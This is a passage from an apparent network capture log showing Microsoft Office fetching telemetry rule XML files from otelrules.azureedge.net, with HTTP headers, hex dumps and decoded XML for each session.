DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:20 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:21 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024620Z-16849878b78p49s6zkwt11bbkn0000000a6000000000089v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:21 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:21 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024621Z-16849878b78g2m84h2v9sta290000000098g00000000hr80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:21 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:21 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:21 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d4940829-c01e-0014-691e-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024621Z-17c5cb586f6ks725u50g36qts800000002e000000000b7q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:21 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:21 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 0a29d039-d01e-0082-214b-2be489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024621Z-15b8d89586fmhkw429ba5n22m80000000c1g000000001ph8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:21 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:21 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:21 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 0da8e427-501e-0035-47d8-2ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024621Z-17c5cb586f62bgw58esgbu9hgw0000000350000000005e89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:21 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:21 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:21 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:21 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024621Z-16849878b78z2wx67pvzz63kdg000000091g00000000ab12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:21 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:22 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:22 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:22 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: d36ad09b-701e-0098-4cde-2a395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024622Z-17c5cb586f6jwd8h9y40tqxu5w00000001hg000000006sw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:22 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:22 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:22 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:22 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024622Z-16849878b78fkwcjkpn19c5dsn00000009h0000000001sqg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:22 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:22 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:22 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:22 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024622Z-16849878b786lft2mu9uftf3y40000000bng00000000fmcg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:22 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:22 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:22 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:22 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e4f189f6-d01e-005a-18af-2a7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024622Z-17c5cb586f6l54tjt07kuq05pc00000001f0000000003knz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:22 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:22 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:22 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:22 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024622Z-16849878b78zqkvcwgr6h55x9n00000009x0000000008g52 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:22 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:23 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
